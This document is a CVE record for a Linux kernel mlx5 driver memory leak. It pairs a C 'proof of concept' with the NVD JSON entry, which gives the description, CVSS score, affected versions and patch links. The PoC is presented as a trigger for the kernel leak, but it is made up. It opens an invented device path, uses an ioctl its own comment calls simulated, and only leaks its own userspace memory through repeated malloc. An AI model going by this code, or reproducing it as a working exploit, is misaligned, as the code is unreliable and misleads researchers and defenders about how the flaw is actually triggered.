CVE-2023-53546

/* CVE-2023-53546 PoC - mlx5 driver memory leak trigger * This PoC demonstrates how to trigger the memory leak in * mlx5dr_cmd_create_reformat_ctx by repeatedly attempting * to create reformat contexts that fail at mlx5_cmd_exec. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> /* Simulated mlx5 device interface trigger */ #define MLX5_DEVICE_PATH "/dev/mlx5_core" #define IOCTL_CREATE_REFORMAT_CTX _IOW('m', 0x01, struct reformat_ctx_params) struct reformat_ctx_params { unsigned int reformat_type; unsigned int flags; void *in_data; size_t in_len; void *out_data; size_t out_len; }; int trigger_memory_leak(int fd, int iterations) { struct reformat_ctx_params params; int ret; int i; /* Configure parameters to force mlx5_cmd_exec failure */ memset(&params, 0, sizeof(params)); params.reformat_type = 0xFFFFFFFF; /* Invalid type to trigger failure */ params.flags = 0; params.in_data = malloc(4096); /* Allocate memory like the kernel does */ if (!params.in_data) { perror("malloc failed"); return -1; } params.in_len = 4096; params.out_data = NULL; params.out_len = 0; for (i = 0; i < iterations; i++) { ret = ioctl(fd, IOCTL_CREATE_REFORMAT_CTX, &params); if (ret < 0) { /* In vulnerable kernel: 'in' memory is not freed on failure */ fprintf(stderr, "Iteration %d: ioctl failed (expected): %s\n", i, strerror(errno)); } /* Re-allocate to simulate kernel's 'in' buffer allocation */ params.in_data = malloc(4096); if (!params.in_data) { perror("malloc failed during loop"); return -1; } } free(params.in_data); return 0; } int main(int argc, char *argv[]) { int fd; int iterations = 1000; if (argc > 1) { iterations = atoi(argv[1]); } fd = open(MLX5_DEVICE_PATH, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open %s (requires mlx5 hardware and root): %s\n", MLX5_DEVICE_PATH, strerror(errno)); fprintf(stderr, "This PoC requires a system with Mellanox mlx5 NIC\n"); return 1; } printf("Triggering CVE-2023-53546 memory leak with %d iterations...\n", iterations); trigger_memory_leak(fd, iterations); close(fd); printf("Done. Check kernel memory usage with 'slabtop' or '/proc/meminfo'\n"); return 0; }

{"cve": {"id": "CVE-2023-53546", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:49.747", "lastModified": "2026-03-21T00:26:23.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: DR, fix memory leak in mlx5dr_cmd_create_reformat_ctx\n\nwhen mlx5_cmd_exec failed in mlx5dr_cmd_create_reformat_ctx, the memory\npointed by 'in' is not released, which will cause memory leak. Move memory\nrelease after mlx5_cmd_exec."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4", "versionEndExcluding": "5.4.253", "matchCriteriaId": "4173658A-AF91-48B1-AD98-35520BFA7202"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.190", "matchCriteriaId": "B8DECE4F-2D62-4976-B338-963015198AC8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.126", "matchCriteriaId": "C552AC9E-23B8-4D7D-AA26-57985BD93962"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.45", "matchCriteriaId": "A0CA013D-55AF-4494-A931-AFC8EA64E875"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.10", "matchCriteriaId": "7BB0D94C-4FCE-46F4-A8D4-062D6A84627A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:*", "matchCriteriaId": "E4A01A71-0F09-4DB2-A02F-7EFFBE27C98D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc3:*:*:*:*:*:*", "matchCriteriaId": "F5608371-157A-4318-8A2E-4104C3467EA1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc4:*:*:*:*:*:*", "matchCriteriaId": "2226A776-DF8C-49E0-A030-0A7853BB018A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00cecb0a8f9e7a21754d5ad85813ab6b47b3308f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/165159854757dbae0dfd1812b27051da35aa6223", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3169c3854397f3070a63b1b772db16dcb8cba7b4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5dd77585dd9d0e03dd1bceb95f0269a7eaf6b936", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/622d71d99124e69f7bf2e2b7a89f5f444a24d235", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/800d8c96bf997da5eb76ccf8d88795c4231c83fb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}